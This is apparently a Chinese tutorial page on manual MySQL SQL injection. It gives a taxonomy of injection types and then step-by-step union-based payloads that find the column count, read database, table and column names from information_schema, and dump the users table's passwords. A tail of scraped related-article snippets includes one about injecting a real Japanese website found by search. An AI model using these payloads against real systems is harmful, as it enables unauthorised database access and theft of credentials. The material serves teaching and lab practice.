0x00 SQL注入的分类:

(1)基于从服务器接收到的响应

        ▲基于错误的 SQL 注入

        ▲联合查询的类型

        ▲堆查询注射

        ▲SQL 盲注

            •基于布尔 SQL 盲注

            •基于时间的 SQL 盲注

            •基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

        •基于字符串

        •数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

        ★一阶注射

        ★二阶注射

(4)基于注入点的位置上的

        ▲通过用户输入的表单域的注射。

        ▲通过 cookie 注射。

        ▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL 手工注入流程——基于错误的 SQL 注入

(1)闭合方式:

首先,需要确定SQL语句的闭合方式,常见闭合方式有:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";    

(2)order by 查字段数

举例:

?id=1' order by 4--+  //返回Ture(这里的--+可以替换为#,都是注释符的意思)

?id=1' order by 5--+  //返回False

说明字段数为4

(3)确定数据显示位置

?id=0' union select 1,2,3,4--+

通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0' union select 1,2,3,database()--+    

(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

(6)查指定表名的所有字段名

0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

(7)查指定表的指定字段的所有内容

0' union select 1,2,3,group_concat(password) from users --+

(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制

1)0' union select 1,2,3,password from users limit 0,1--+

2)0' union select 1,2,3,password from users limit 1,1--+

3)0' union select 1,2,3,password from users limit 2,1--+

0x02 MYSQL 手工注入实战——基于错误的 SQL 注入

这里暂时还没写好,等之后补充进来。

MYSQL手工注入(详细步骤)—— 待补充的更多相关文章

  1. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  2. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  3. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  4. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  5. MySQL数据库迁移详细步骤(转)

    ========================================================================================== 一.背景简介 == ...

  6. MySQL数据库迁移详细步骤

    转载自:http://sofar.blog.51cto.com/353572/1598364 ===================================================== ...

  7. mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  8. MySql主从搭建详细步骤

    环境: linux64位,一台机器两个实例,主库3306端口,从库3307端口 步骤: 一.下载安装 先下载安装mysql,这里使用了5.7.21版本,具体过程不做详细说明,可自行查资料如何下载 二. ...

  9. MYSQL手工注入某日本网站

    作者:ice   团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...

随机推荐

  1. 那些证书相关的玩意儿(SSL,X.509,PEM,DER,CRT,CER,KEY,CSR,P12等)(使用OpenSSL的命令行)

    之前没接触过证书加密的话,对证书相关的这些概念真是感觉挺棘手的,因为一下子来了一大堆新名词,看起来像是另一个领域的东西,而不是我们所熟悉的编程领域的那些东西,起码我个人感觉如此,且很长时间都没怎么搞懂 ...

  2. 小记同学一次奇葩的DNS欺骗实验失败经历

    这是一个DNS欺骗实验,使用kali的ettercap.有受害者.攻击者(虚拟机).Web服务器三台机器.受害者的事124.16.70.105虚拟机的是124.16.71.48web服务器是124.1 ...

  3. WebApi 中FromUri参数自动解析成实体的要求

    条件一:类属性名称必须和参数名称相同(不分大小写) 条件二:API参数必须以[FromUri]来修饰(数组也需要添加,否则参数传递不了) 条件三:属性类型为“类”的,如果使用类名(导航属性在本类的名称 ...

  4. ML:单变量线性回归(Linear Regression With One Variable)

    模型表达(model regression) 用于描述回归问题的标记 m 训练集(training set)中实例的数量 x 特征/输入变量 y 目标变量/输出变量 (x,y) 训练集中的实例 (x( ...

  5. 笨重的mfc还在基于系统控件,熟练的mfc工程师还比不过学习Qt一个月的学生开发效率高(比较精彩,韦易笑)

    作者:韦易笑链接:https://www.zhihu.com/question/29636221/answer/45102191来源:知乎著作权归作者所有,转载请联系作者获得授权. 更新:擦,本来只有 ...

  6. wpf中的datagrid绑定操作按钮是否显示或者隐藏

    如图,需要在wpf中的datagrid的操作那列有个确认按钮,然后在某些条件下确认按钮可见,某些情况下不可见的,放在mvc里直接在cshtml页面中if..else就行了. 但是在wpf里不行..网上 ...

  7. Lamda一行代码实现"36选7"随机自动选号

    南粤风采36选7是广东的一种彩票玩法.非常简单的从1-36个数字选7个. 今天在同事面前炫耀了一把,只用一行Lamda代码实现随机自动选号 Enumerable.Range(, ).Select(x ...

  8. Spring Schema扩展机制

    1:概述 Spring2.0开始,Spring提供XML Schema可扩展机制,用户可以自定义XML Schema文件,并自定义 XML Bean解析器,集成到Spring IOC容器中. 2:步骤 ...

  9. 30441数据定义语言DDL

    数据定义:指对数据库对象的定义.删除和修改操作. 数据库对象主要包括数据表.视图.索引等. 数据定义功能通过CREATE.ALTER.DROP语句来完成. 按照操作对象分类来介绍数据定义的SQL语法. ...

  10. mysql查询类型转换问题

    mysql转换类型.类型转换.查询结果类型转换 一.问题来源 数据库一张表的主键id设为了自增,那就是int型的,但是其他表的关联字段又设置成了字符串! 而且已经开发了很久才发现问题,既然出现了问题肯 ...